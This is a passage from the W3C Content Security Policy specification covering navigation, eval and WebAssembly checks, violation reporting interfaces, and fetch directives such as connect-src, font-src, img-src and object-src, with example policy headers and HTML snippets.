      8. If policys disposition is "enforce", then set result to "Blocked".

4. Return result.

4.2.4. Should navigation request of type be blocked by Content Security Policy?

Given a request navigation request and a string type (either "form-submission" or "other"), this algorithm return "Blocked" if the active policy blocks the navigation, and "Allowed" otherwise:

1. Let result be "Allowed".

2. Let CSP list be navigation requests policy containers CSP lists policies.

3. For each policy of CSP lists policies:

   1. For each directive of policy:

      1. If directives pre-navigation check returns "Allowed" when executed upon navigation request, type, policy, and CSP lists self-origin skip to the next directive.

      2. Otherwise, let violation be the result of executing 2.4.1 Create a violation object for global, policy, and directive on navigation requests clients global object, policy, and directives name.

      3. Set violations resource to navigation requests URL.

      4. Execute 5.5 Report a violation on violation.

      5. If policys disposition is "enforce", then set result to "Blocked".

4. If result is "Allowed", and if navigation requests current URLs scheme is javascript:

   1. For each policy of navigation requests policy containers CSP lists policies:

      1. For each directive of policy:

         1. Let directive-name be the result of executing 6.8.2 Get the effective directive for inline checks on "navigation".

         2. If directives inline check returns "Allowed" when executed upon null, "navigation", policy, and navigation requests current URL, skip to the next directive.

         3. Otherwise, let violation be the result of executing 2.4.1 Create a violation object for global, policy, and directive on navigation requests clients global object, policy, and directive-name.

         4. Set violations resource to "inline".

         5. Execute 5.5 Report a violation on violation.

         6. If policys disposition is "enforce", then set result to "Blocked".

5. Return result.

4.2.5. Should navigation response to navigation request of type in target be blocked by Content Security Policy?

Given a request navigation request, a response navigation response, a CSP list response CSP list, a string type (either "form-submission" or "other"), and a navigable target, this algorithm returns "Blocked" if the active policy blocks the navigation, and "Allowed" otherwise:

1. Let result be "Allowed".

2. For each policy of response CSP lists policies:

   Note: Some directives (like frame-ancestors) allow a responses Content Security Policy to act on the navigation.

   1. For each directive of policy:

      1. If directives navigation response check returns "Allowed" when executed upon navigation request, type, navigation response, target, "response", policy, and response CSP lists self-origin, skip to the next directive.

      2. Otherwise, let violation be the result of executing 2.4.1 Create a violation object for global, policy, and directive on null, policy, and directives name.

         Note: We use null for the global object, as no global exists: we havent processed the navigation to create a Document yet.

      3. Set violations resource to navigation responses URL.

      4. Execute 5.5 Report a violation on violation.

      5. If policys disposition is "enforce", then set result to "Blocked".

3. For each policy of navigation requests policy containers CSP lists policies:

   Note: Some directives in the navigation requests context (like frame-ancestors) need the response before acting on the navigation.

   1. For each directive of policy:

      1. If directives navigation response check returns "Allowed" when executed upon navigation request, type, navigation response, target, "source", policy, and response CSP lists self-origin, skip to the next directive.

      2. Otherwise, let violation be the result of executing 2.4.1 Create a violation object for global, policy, and directive on navigation requests clients global object, policy, and directives name.

      3. Set violations resource to navigation requests URL.

      4. Execute 5.5 Report a violation on violation.

      5. If policys disposition is "enforce", then set result to "Blocked".

4. Return result.

4.2.6. Run CSP initialization for a global object

Given a global object global, the user agent performs the following steps in order to initialize CSP for global. This algorithm returns "Allowed" if global is allowed, and "Blocked" otherwise:

1. Let result be "Allowed".

2. For each policy of globals CSP lists policies:

   1. For each directive of policy:

      1. Execute directives initialization algorithm on global and policy. If its returned value is "Blocked", then set result to "Blocked".

3. Return result.

4.3. Integration with WebRTC

The administratively-prohibited algorithm calls 4.3.1 Should RTC connections be blocked for global? when invoked, and prohibits all candidates if it returns "Blocked".

4.3.1. Should RTC connections be blocked for global?

Given a global object global, this algorithm returns "Blocked" if the active policy for global blocks RTC connections, and "Allowed" otherwise:

1. Let result be "Allowed".

2. For each policy of globals CSP lists policies:

   1. For each directive of policy:

      1. If directives webrtc pre-connect check returns "Allowed" when executed upon policy, continue.

      2. Otherwise, let violation be the result of executing 2.4.1 Create a violation object for global, policy, and directive on global, policy, and directives name.

      3. Set violations resource to null.

      4. Execute 5.5 Report a violation on violation.

      5. If policys disposition is "enforce", then set result to "Blocked".

3. Return result.

4.4. Integration with ECMAScript

ECMAScript defines a HostEnsureCanCompileStrings() abstract operation which allows the host environment to block the compilation of strings into ECMAScript code. This document defines an implementation of that abstract operation which examines the relevant CSP list to determine whether such compilation ought to be blocked.

4.4.1. EnsureCSPDoesNotBlockStringCompilation(realm, parameterStrings, bodyString, codeString, compilationType, parameterArgs, bodyArg)

Given a realm realm, a list of strings parameterStrings, a string bodyString, a string codeString, an enum (compilationType), a list of ECMAScript language values (parameterArgs), and an ECMAScript language value (bodyArg), this algorithm returns normally if string compilation is allowed, and throws an "EvalError" if not:

1. Let sourceString be codeString.

2. If compilationType is not "TIMER", then:

   1. Let compilationSink be "Function" if compilationType is "FUNCTION", and "eval" otherwise.

   2. Let isTrusted be true if bodyArg implements TrustedScript, and false otherwise.

   3. If isTrusted is true, then:

      1. Assert: bodyString is equal to bodyArgs data.

      2. Assert: parameterArgs size is equal to parameterStrings size.

      3. For each index of the range 0 to parameterArgs size:

         1. Let arg be parameterArgs[index].

         2. If arg implements TrustedScript, then:

            1. Assert: parameterStrings[index] is equal to args data.

         3. Otherwise, set isTrusted to false.

   4. If isTrusted is false, then:

      1. Set sourceString to the result of executing the get trusted type compliant string algorithm, with TrustedScript, realm, codeString, compilationSink, and 'script'.

      2. If the algorithm throws an error, throw an EvalError.

      3. If sourceString is not equal to codeString, throw an EvalError.

3. Let result be "Allowed".

4. Let global be realms global object.

5. For each policy of globals CSP lists policies:

   1. Let source-list be null.

   2. If policy contains a directive whose name is "script-src", then set source-list to that directives value.

      Otherwise if policy contains a directive whose name is "default-src", then set source-list to that directives value.

   3. If source-list is not null:

      1. Let trustedTypesRequired be the result of executing does sink type require trusted types?, with realm, 'script', and false.

      2. If trustedTypesRequired is true and source-list contains a source expression which is an ASCII case-insensitive match for the string "'trusted-types-eval'", then skip the following steps.

      3. If source-list contains a source expression which is an ASCII case-insensitive match for the string "'unsafe-eval'", then skip the following steps.

      4. Let violation be the result of executing 2.4.1 Create a violation object for global, policy, and directive on global, policy, and "script-src".

      5. Set violations resource to "eval".

      6. If source-list contains the expression "'report-sample'", then set violations sample to the substring of sourceString containing its first 40 characters.

      7. Execute 5.5 Report a violation on violation.

      8. If policys disposition is "enforce", then set result to "Blocked".

6. If result is "Blocked", throw an EvalError exception.

4.5. Integration with WebAssembly

WebAssembly defines the HostEnsureCanCompileWasmBytes() abstract operation which allows the host environment to block the compilation of WebAssembly sources into executable code. This document defines an implementation of this abstract operation which examines the relevant CSP list to determine whether such compilation ought to be blocked.

4.5.1. EnsureCSPDoesNotBlockWasmByteCompilationrealm

Given a realm realm, this algorithm returns normally if compilation is allowed, and throws a WebAssembly.CompileError if not:

1. Let global be realms global object.

2. Let result be "Allowed".

3. For each policy of globals CSP lists policies:

   1. Let source-list be null.

   2. If policy contains a directive whose name is "script-src", then set source-list to that directives value.

      Otherwise if policy contains a directive whose name is "default-src", then set source-list to that directives value.

   3. If source-list is non-null, and does not contain a source expression which is an ASCII case-insensitive match for the string "'unsafe-eval'", and does not contain a source expression which is an ASCII case-insensitive match for the string "'wasm-unsafe-eval'", then:

      1. Let violation be the result of executing 2.4.1 Create a violation object for global, policy, and directive on global, policy, and "script-src".

      2. Set violations resource to "wasm-eval".

      3. Execute 5.5 Report a violation on violation.

      4. If policys disposition is "enforce", then set result to "Blocked".

4. If result is "Blocked", throw a WebAssembly.CompileError exception.

5. Reporting

When one or more of a policys directives is violated, a csp violation report may be generated and sent out to a reporting endpoint associated with the policy.

csp violation reports have the report type "csp-violation".

csp violation reports are visible to ReportingObservers.

dictionary CSPViolationReportBody : ReportBody {
  USVString documentURL;
  USVString? referrer;
  USVString? blockedURL;
  DOMString effectiveDirective;
  DOMString originalPolicy;
  USVString? sourceFile;
  DOMString? sample;
  SecurityPolicyViolationEventDisposition disposition;
  unsigned short statusCode;
  unsigned long? lineNumber;
  unsigned long? columnNumber;
};

When a directive that impacts script-like destinations has a report-sha256, report-sha384 or report-sha512 value, and a request with a script-like destination is fetched, a csp hash report will be generated and sent out to a reporting endpoint associated with the policy.

csp hash reports have the report type "csp-hash".

csp hash reports are not visible to ReportingObservers.

A csp hash report body is a struct with the following fields: documentURL, subresourceURL, hash, destination, type.

Reporting-Endpoints: hashes-endpoint="https://example.com/reports"
Content-Security-Policy: script-src 'self' 'report-sha256'; report-to hashes-endpoint

POST /reports HTTP/1.1
Host: example.com
...
Content-Type: application/reports+json

[{
  "type": "csp-hash",
  "age": 12,
  "url": "https://example.com/",
  "user_agent": "Mozilla/5.0 (X11; Linux i686; rv:132.0) Gecko/20100101 Firefox/132.0",
  "body": {
    "document_url": "https://example.com/",
    "subresource_url": "https://example.com/main.js",
    "hash": "sha256-85738f8f9a7f1b04b5329c590ebcb9e425925c6d0984089c43a022de4f19c281",
    "type": "subresource",
    "destination": "script"
  }
}]

5.1. Violation DOM Events

enum SecurityPolicyViolationEventDisposition {
  "enforce", "report"
};

[Exposed=(Window,Worker)]
interface SecurityPolicyViolationEvent : Event {
    constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict = {});
    readonly    attribute USVString      documentURI;
    readonly    attribute USVString      referrer;
    readonly    attribute USVString      blockedURI;
    readonly    attribute DOMString      effectiveDirective;
    readonly    attribute DOMString      violatedDirective; // historical alias of effectiveDirective
    readonly    attribute DOMString      originalPolicy;
    readonly    attribute USVString      sourceFile;
    readonly    attribute DOMString      sample;
    readonly    attribute SecurityPolicyViolationEventDisposition      disposition;
    readonly    attribute unsigned short statusCode;
    readonly    attribute unsigned long  lineNumber;
    readonly    attribute unsigned long  columnNumber;
};

dictionary SecurityPolicyViolationEventInit : EventInit {
    USVString      documentURI = "";
    USVString      referrer = "";
    USVString      blockedURI = "";
    DOMString      violatedDirective = "";
    DOMString      effectiveDirective = "";
    DOMString      originalPolicy = "";
    USVString      sourceFile = "";
    DOMString      sample = "";
    SecurityPolicyViolationEventDisposition disposition = "enforce";
    unsigned short statusCode = 0;
    unsigned long  lineNumber = 0;
    unsigned long  columnNumber = 0;
};

5.2. Obtain the blockedURI of a violations resource

Given a violations resource resource, this algorithm returns a string, to be used as the blocked URI field for violation reports.

1. Assert: resource is a URL or a string.

2. If resource is a URL, return the result of executing 5.4 Strip URL for use in reports on resource.

3. Return resource.

5.3. Obtain the deprecated serialization of violation

Given a violation violation, this algorithm returns a JSON text string representation of the violation, suitable for submission to a reporting endpoint associated with the deprecated report-uri directive.

1. Let body be a map with its keys initialized as follows:

   "document-uri"

   The result of executing 5.4 Strip URL for use in reports on violations url.

   "referrer"

   The result of executing 5.4 Strip URL for use in reports on violations referrer.

   "blocked-uri"

   The result of executing 5.2 Obtain the blockedURI of a violations resource on violations resource.

   "effective-directive"

   violations effective directive

   "violated-directive"

   violations effective directive

   "original-policy"

   The serialization of violations policy

   "disposition"

   The disposition of violations policy

   "status-code"

   violations status

   "script-sample"

   violations sample

   Note: The name script-sample was chosen for compatibility with an earlier iteration of this feature which has shipped in Firefox since its initial implementation of CSP. Despite the name, this field will contain samples for non-script violations, like stylesheets. The data contained in a SecurityPolicyViolationEvent object, and in reports generated via the new report-to directive, is named in a more encompassing fashion: sample.

2. If violations source file is not null:

   1. Set body["source-file'] to the result of executing 5.4 Strip URL for use in reports on violations source file.

   2. Set body["line-number"] to violations line number.

   3. Set body["column-number"] to violations column number.

3. Assert: If body["blocked-uri"] is not "inline", then body["sample"] is the empty string.

4. Return the result of serialize an infra value to JSON bytes given [ "csp-report" body ].

5.4. Strip URL for use in reports

1. If urls scheme is not an HTTP(S) scheme, then return urls scheme.

2. Set urls fragment to the empty string.

3. Set urls username to the empty string.

4. Set urls password to the empty string.

5. Return the result of executing the URL serializer on url.

5.5. Report a violation

Given a violation violation, this algorithm reports it to the endpoint specified in violations policy, and fires a SecurityPolicyViolationEvent at violations element, or at violations global object as described below:

1. Let global be violations global object.

2. Let target be violations element.

3. Queue a task to run the following steps:

   Note: We "queue a task" here to ensure that the event targeting and dispatch happens after JavaScript completes execution of the task responsible for a given violation (which might manipulate the DOM).

   1. If target is not null, and global is a Window, and targets shadow-including root is not globals associated Document, set target to null.

      Note: This ensures that we fire events only at elements connected to violations policys Document. If a violation is caused by an element which isnt connected to that document, well fire the event at the document rather than the element in order to ensure that the violation is visible to the documents listeners.

   2. If target is null:

      1. Set target to violations global object.

      2. If target is a Window, set target to targets associated Document.

   3. If target implements EventTarget, fire an event named securitypolicyviolation that uses the SecurityPolicyViolationEvent interface at target with its attributes initialized as follows:

      documentURI

      The result of executing 5.4 Strip URL for use in reports on violations url.

      referrer

      The result of executing 5.4 Strip URL for use in reports on violations referrer.

      blockedURI

      The result of executing 5.2 Obtain the blockedURI of a violations resource on violations resource.

      effectiveDirective

      violations effective directive

      violatedDirective

      violations effective directive

      originalPolicy

      The serialization of violations policy

      disposition

      violations disposition

      sourceFile

      The result of executing 5.4 Strip URL for use in reports on violations source file, if violations source file is not null, or null otherwise.

      statusCode

      violations status

      lineNumber

      violations line number

      columnNumber

      violations column number

      sample

      violations sample

      bubbles

      true

      composed

      true

      Note: We set the composed attribute, which means that this event can be captured on its way into, and will bubble its way out of a shadow tree. target, et al will be automagically scoped correctly for the main tree.

      Note: Both effectiveDirective and violatedDirective are the same value. This is intentional to maintain backwards compatibility.

   4. If violations policys directive set contains a directive named "report-uri" directive:

      1. If violations policys directive set contains a directive named "report-to", skip the remaining substeps.

      2. For each token of directives value:

         1. Let endpoint be the result of executing the URL parser with token as the input, and violations url as the base URL.

         2. If endpoint is not a valid URL, skip the remaining substeps.

         3. Let request be a new request, initialized as follows:

            method

            "POST"

            url

            endpoint

            origin

            violations global objects relevant settings objects origin

            traversable for user prompts

            "no-traversable"

            client

            violations global objects relevant settings object

            destination

            "report"

            initiator

            ""

            credentials mode

            "same-origin"

            keepalive

            "true"

            header list

            A header list containing a single header whose name is "Content-Type", and value is "application/csp-report"

            body

            The result of executing 5.3 Obtain the deprecated serialization of violation on violation

            redirect mode

            "error"

            Note: requests mode defaults to "no-cors"; the response is ignored entirely.

         4. Fetch request. The result will be ignored.

      Note: All of this should be considered deprecated. It sends a single request per violation, which simply isnt scalable. As soon as this behavior can be removed from user agents, it will be.

      Note: report-uri only takes effect if report-to is not present. That is, the latter overrides the former, allowing for backwards compatibility with browsers that dont support the new mechanism.

   5. If violations policys directive set contains a directive named "report-to" directive:

      1. Let body be a new CSPViolationReportBody, initialized as follows:

         documentURL

         The result of executing 5.4 Strip URL for use in reports on violations url.

         referrer

         The result of executing 5.4 Strip URL for use in reports on violations referrer.

         blockedURL

         The result of executing 5.2 Obtain the blockedURI of a violations resource on violations resource.

         effectiveDirective

         violations effective directive.

         originalPolicy

         The serialization of violations policy.

         sourceFile

         The result of executing 5.4 Strip URL for use in reports on violations source file, if violations source file is not null, or null otherwise.

         sample

         violations sample.

         disposition

         violations disposition.

         statusCode

         violations status.

         lineNumber

         violations line number, if violations source file is not null, or null otherwise.

         columnNumber

         violations column number, if violations source file is not null, or null otherwise.

      2. Let settings object be violations global objects relevant settings object.

      3. Generate and queue a report with the following arguments:

         context

         settings object

         type

         "csp-violation"

         destination

         directives value.

         data

         body

6. Content Security Policy Directives

This specification defines a number of types of directives which allow developers to control certain aspects of their sites' behavior. This document defines directives which govern resource fetching (in 6.1 Fetch Directives), directives which govern the state of a document (in 6.3 Document Directives), directives which govern aspects of navigation (in 6.4 Navigation Directives), and directives which govern reporting (in 6.5 Reporting Directives). These form the core of Content Security Policy; other directives are defined in a modular fashion in ancillary documents (see 6.6 Directives Defined in Other Documents for examples).

To mitigate the risk of cross-site scripting attacks, web developers SHOULD include directives that regulate sources of script and plugins. They can do so by including:

• Both the script-src and object-src directives, or

• a default-src directive

In either case, developers SHOULD NOT include either 'unsafe-inline', or data: as valid sources in their policies. Both enable XSS attacks by allowing code to be included directly in the document itself; they are best avoided completely.

6.1. Fetch Directives

Fetch directives control the locations from which certain resource types may be loaded. For instance, script-src allows developers to allow trusted sources of script to execute on a page, while font-src controls the sources of web fonts.

6.1.1. child-src

The child-src directive governs the creation of child navigables (e.g. iframe and frame navigations) and Worker execution contexts. The syntax for the directives name and value is described by the following ABNF:

directive-name  = "child-src"
directive-value = serialized-source-list

This directive controls requests which will populate a frame or a worker. More formally, requests falling into one of the following categories:

• destination is "frame", "iframe", "object", or "embed".

• destination is either "serviceworker", "sharedworker", or "worker" (which are fed to the run a worker algorithm for ServiceWorker, SharedWorker, and Worker, respectively).

Content-Security-Policy: child-src https://example.com/

<iframe src="https://example.org"></iframe>
<script>
  var blockedWorker = new Worker("data:application/javascript,...");
</script>

6.1.1.1. child-src Pre-request check

This directives pre-request check is as follows:

Given a request request, a policy policy, and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, child-src and policy is "No", return "Allowed".

3. Return the result of executing the pre-request check for the directive whose name is name on request, policy, and self-origin using this directives value for the comparison.

6.1.1.2. child-src Post-request check

This directives post-request check is as follows:

Given a request request, a response response, a policy policy and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, child-src and policy is "No", return "Allowed".

3. Return the result of executing the post-request check for the directive whose name is name on request, response, policy, and self-origin, using this directives value for the comparison.

6.1.2. connect-src

The connect-src directive restricts the URLs which can be loaded using script interfaces. The syntax for the directives name and value is described by the following ABNF:

directive-name  = "connect-src"
directive-value = serialized-source-list

This directive controls requests which transmit or receive data from other origins. This includes APIs like fetch(), [XHR], [EVENTSOURCE], [BEACON], and as ping. This directive also controls WebSocket [WEBSOCKETS] connections, though those arent technically part of Fetch.

Content-Security-Policy: connect-src https://example.com/

<a ping="https://example.org">...
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'https://example.org/');
  xhr.send();

  var ws = new WebSocket("wss://example.org/");

  var es = new EventSource("https://example.org/");

  navigator.sendBeacon("https://example.org/", { ... });
</script>

6.1.2.1. connect-src Pre-request check

This directives pre-request check is as follows:

Given a request request, a policy policy, and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, connect-src and policy is "No", return "Allowed".

3. Let source list be directives value.

4. If requests mode is "webtransport" and requests WebTransport-hash list is not empty:

   1. If source list contains a source expression which is an ASCII case-insensitive match for the keyword-source "'unsafe-webtransport-hashes'", return "Allowed".

   2. Return "Blocked".

5. If the result of executing 6.7.2.5 Does request match source list? on request, source list, and self-origin, is "Matches", return "Allowed".

6. Return "Blocked".

6.1.2.2. connect-src Post-request check

This directives post-request check is as follows:

Given a request request, a response response, a policy policy and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, connect-src and policy is "No", return "Allowed".

3. Let source list be directives value.

4. If requests mode is "webtransport" and requests WebTransport-hash list is not empty:

   1. If source list contains a source expression which is an ASCII case-insensitive match for the keyword-source "'unsafe-webtransport-hashes'", return "Allowed".

   2. Return "Blocked".

5. If the result of executing 6.7.2.6 Does response to request match source list? on response, request, source list, and self-origin, is "Matches", return "Allowed".

6. Return "Blocked".

6.1.3. default-src

The default-src directive serves as a fallback for the other fetch directives. The syntax for the directives name and value is described by the following ABNF:

directive-name  = "default-src"
directive-value = serialized-source-list

If a default-src directive is present in a policy, its value will be used as the policys default source list. That is, given default-src 'none'; script-src 'self', script requests will use 'self' as the source list to match against. Other requests will use 'none'. This is spelled out in more detail in the 4.1.2 Should request be blocked by Content Security Policy? and 4.1.3 Should response to request be blocked by Content Security Policy? algorithms.

Content-Security-Policy: default-src 'self'

Content-Security-Policy: connect-src 'self';
                         font-src 'self';
                         frame-src 'self';
                         img-src 'self';
                         manifest-src 'self';
                         media-src 'self';
                         object-src 'self';
                         script-src-elem 'self';
                         script-src-attr 'self';
                         style-src-elem 'self';
                         style-src-attr 'self';
                         worker-src 'self'

Content-Security-Policy: default-src 'self'; script-src-elem https://example.com

Content-Security-Policy: connect-src 'self';
                         font-src 'self';
                         frame-src 'self';
                         img-src 'self';
                         manifest-src 'self';
                         media-src 'self';
                         object-src 'self';
                         script-src-elem https://example.com;
                         script-src-attr 'self';
                         style-src-elem 'self';
                         style-src-attr 'self';
                         worker-src 'self'

6.1.3.1. default-src Pre-request check

This directives pre-request check is as follows:

Given a request request, a policy policy, and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, default-src and policy is "No", return "Allowed".

3. Return the result of executing the pre-request check for the directive whose name is name on request, policy, and self-origin, using this directives value for the comparison.

6.1.3.2. default-src Post-request check

This directives post-request check is as follows:

Given a request request, a response response, a policy policy and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, default-src and policy is "No", return "Allowed".

3. Return the result of executing the post-request check for the directive whose name is name on request, response, policy, and self-origin, using this directives value for the comparison.

6.1.3.3. default-src Inline Check

This directives inline check algorithm is as follows:

Given an Element element, a string type, a policy policy and a string source:

1. Let name be the result of executing 6.8.2 Get the effective directive for inline checks on type.

2. If the result of executing 6.8.4 Should fetch directive execute on name, default-src and policy is "No", return "Allowed".

3. Otherwise, return the result of executing the inline check for the directive whose name is name on element, type, policy and source, using this directives value for the comparison.

6.1.4. font-src

The font-src directive restricts the URLs from which font resources may be loaded. The syntax for the directives name and value is described by the following ABNF:

directive-name  = "font-src"
directive-value = serialized-source-list

Content-Security-Policy: font-src https://example.com/

<style>
  @font-face {
    font-family: "Example Font";
    src: url("https://example.org/font");
  }
  body {
    font-family: "Example Font";
  }
</style>

6.1.4.1. font-src Pre-request check

This directives pre-request check is as follows:

Given a request request, a policy policy, and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, font-src and policy is "No", return "Allowed".

3. If the result of executing 6.7.2.5 Does request match source list? on request, this directives value, and self-origin, is "Does Not Match", return "Blocked".

4. Return "Allowed".

6.1.4.2. font-src Post-request check

This directives post-request check is as follows:

Given a request request, a response response, a policy policy and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, font-src and policy is "No", return "Allowed".

3. If the result of executing 6.7.2.6 Does response to request match source list? on response, request, this directives value, and self-origin, is "Does Not Match", return "Blocked".

4. Return "Allowed".

6.1.5. frame-src

The frame-src directive restricts the URLs which may be loaded into child navigables. The syntax for the directives name and value is described by the following ABNF:

directive-name  = "frame-src"
directive-value = serialized-source-list

Content-Security-Policy: frame-src https://example.com/

<iframe src="https://example.org/">
</iframe>

6.1.5.1. frame-src Pre-request check

This directives pre-request check is as follows:

Given a request request, a policy policy, and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, frame-src and policy is "No", return "Allowed".

3. If the result of executing 6.7.2.5 Does request match source list? on request, this directives value, and self-origin, is "Does Not Match", return "Blocked".

4. Return "Allowed".

6.1.5.2. frame-src Post-request check

This directives post-request check is as follows:

Given a request request, a response response, a policy policy and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, frame-src and policy is "No", return "Allowed".

3. If the result of executing 6.7.2.6 Does response to request match source list? on response, request, this directives value, and self-origin, is "Does Not Match", return "Blocked".

4. Return "Allowed".

6.1.6. img-src

The img-src directive restricts the URLs from which image resources may be loaded. The syntax for the directives name and value is described by the following ABNF:

directive-name  = "img-src"
directive-value = serialized-source-list

This directive controls requests which load images. More formally, this includes requests whose destination is "image" [FETCH].

Content-Security-Policy: img-src https://example.com/

<img src="https://example.org/img">

6.1.6.1. img-src Pre-request check

This directives pre-request check is as follows:

Given a request request, a policy policy, and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, img-src and policy is "No", return "Allowed".

3. If the result of executing 6.7.2.5 Does request match source list? on request, this directives value, and self-origin, is "Does Not Match", return "Blocked".

4. Return "Allowed".

6.1.6.2. img-src Post-request check

This directives post-request check is as follows:

Given a request request, a response response, a policy policy and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, img-src and policy is "No", return "Allowed".

3. If the result of executing 6.7.2.6 Does response to request match source list? on response, request, this directives value, and self-origin, is "Does Not Match", return "Blocked".

4. Return "Allowed".

6.1.7. manifest-src

The manifest-src directive restricts the URLs from which application manifests may be loaded [APPMANIFEST]. The syntax for the directives name and value is described by the following ABNF:

directive-name  = "manifest-src"
directive-value = serialized-source-list

Content-Security-Policy: manifest-src https://example.com/

<link rel="manifest" href="https://example.org/manifest">

6.1.7.1. manifest-src Pre-request check

This directives pre-request check is as follows:

Given a request request, a policy policy, and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, manifest-src and policy is "No", return "Allowed".

3. If the result of executing 6.7.2.5 Does request match source list? on request, this directives value, and self-origin, is "Does Not Match", return "Blocked".

4. Return "Allowed".

6.1.7.2. manifest-src Post-request check

This directives post-request check is as follows:

Given a request request, a response response, a policy policy and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, manifest-src and policy is "No", return "Allowed".

3. If the result of executing 6.7.2.6 Does response to request match source list? on response, request, this directives value, and self-origin, is "Does Not Match", return "Blocked".

4. Return "Allowed".

6.1.8. media-src

The media-src directive restricts the URLs from which video, audio, and associated text track resources may be loaded. The syntax for the directives name and value is described by the following ABNF:

directive-name  = "media-src"
directive-value = serialized-source-list

Content-Security-Policy: media-src https://example.com/

<audio src="https://example.org/audio"></audio>
<video src="https://example.org/video">
    <track kind="subtitles" src="https://example.org/subtitles">
</video>

6.1.8.1. media-src Pre-request check

This directives pre-request check is as follows:

Given a request request, a policy policy, and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, media-src and policy is "No", return "Allowed".

3. If the result of executing 6.7.2.5 Does request match source list? on request, this directives value, and self-origin, is "Does Not Match", return "Blocked".

4. Return "Allowed".

6.1.8.2. media-src Post-request check

This directives post-request check is as follows:

Given a request request, a response response, a policy policy and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, media-src and policy is "No", return "Allowed".

3. If the result of executing 6.7.2.6 Does response to request match source list? on response, request, this directives value, and self-origin, is "Does Not Match", return "Blocked".

4. Return "Allowed".

6.1.9. object-src

The object-src directive restricts the URLs from which plugin content may be loaded. The syntax for the directives name and value is described by the following ABNF:

directive-name  = "object-src"
directive-value = serialized-source-list

Content-Security-Policy: object-src https://example.com/

<embed src="https://example.org/flash"></embed>
<object data="https://example.org/flash"></object>

If plugin content is loaded without an associated URL (perhaps an object element lacks a data attribute, but loads some default plugin based on the specified type), it MUST be blocked if object-srcs value is 'none', but will otherwise be allowed.

Note: The object-src directive acts upon any request made on behalf of an object or embed element. This includes requests which would populate the child navigable generated by the former two (also including navigations). This is true even when the data is semantically equivalent to content which would otherwise be restricted by another directive, such as an object element with a text/html MIME type.

Note: When a plugin resource is navigated to directly (that is, as a plugin inside a navigable, and not as an embedded subresource via embed or object), any policy delivered along with that resource will be applied to the resulting Document. This means, for instance, that developers can prevent the execution of arbitrary resources as plugin content by delivering the policy object-src 'none' along with a response. Given plugins' power (and the sometimes-interesting security model presented by Flash and others), this could mitigate the risk of attack vectors like Rosetta Flash.

6.1.9.1. object-src Pre-request check

This directives pre-request check is as follows:

Given a request request, a policy policy, and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, object-src and policy is "No", return "Allowed".

3. If the result of executing 6.7.2.5 Does request match source list? on request, this directives value, and self-origin, is "Does Not Match", return "Blocked".

4. Return "Allowed".

6.1.9.2. object-src Post-request check

This directives post-request check is as follows:

Given a request request, a response response, a policy policy and an origin self-origin:

1. Let name be the result of executing 6.8.1 Get the effective directive for request on request.

2. If the result of executing 6.8.4 Should fetch directive execute on name, object-src and policy is "No", return "Allowed".

3. If the result of executing 6.7.2.6 Does response to request match source list? on response, request, this directives value, and self-origin, is "Does Not Match", return "Blocked".

4. Return "Allowed".

6.1.10. script-src

The script-src directive restricts the locations from which scripts may be executed. This includes not only URLs loaded directly into script elements, but also things like inline script blocks and XSLT stylesheets [XSLT] which can trigger script execution. The syntax for the directives name and value is described by the following ABNF:

directive-name  = "script-src"
directive-value = serialized-source-list

The script-src directive acts as a default fallback for all script-like destinations (including worker-specific destinations if worker-src is not present). Unless granularity is desired script-src should be used in favor of script-src-attr and script-src-elem as in most situations there is no particular reason to have separate lists of permissions for inline event handlers and script elements.

The script-src directive governs six things:

1. Script requests MUST pass through 4.1.2 Should request be blocked by Content Security Policy?.

2. Script responses MUST pass through 4.1.3 Should response to request be blocked by Content Security Policy?.

3. Inline script blocks MUST pass through 4.2.3 Should elements inline type behavior be blocked by Content Security Policy?. Their behavior will be blocked unless every policy allows inline script, either implicitly by not specifying a script-src (or default-src) directive, or explicitly, by specifying "unsafe-inline", a nonce-source or a hash-source that matches the inline block.

4. The following JavaScript execution sinks are gated on the "unsafe-eval" and "trusted-types-eval" source expressions:

   • eval()

   • Function()

   • setTimeout() with an initial argument which is not callable.

   • setInterval() with an initial argument which is not callable.

   Note: If a user agent implements non-standard sinks like setImmediate() or execScript(), they SHOULD also be gated on "unsafe-eval". Note: Since "unsafe-eval" acts as a global page flag, script-src-attr and script-src-elem are not used when performing this check, instead script-src (or its fallback directive) is always used.

5. The following WebAssembly execution sinks are gated on the "wasm-unsafe-eval" or the "unsafe-eval" source expressions:

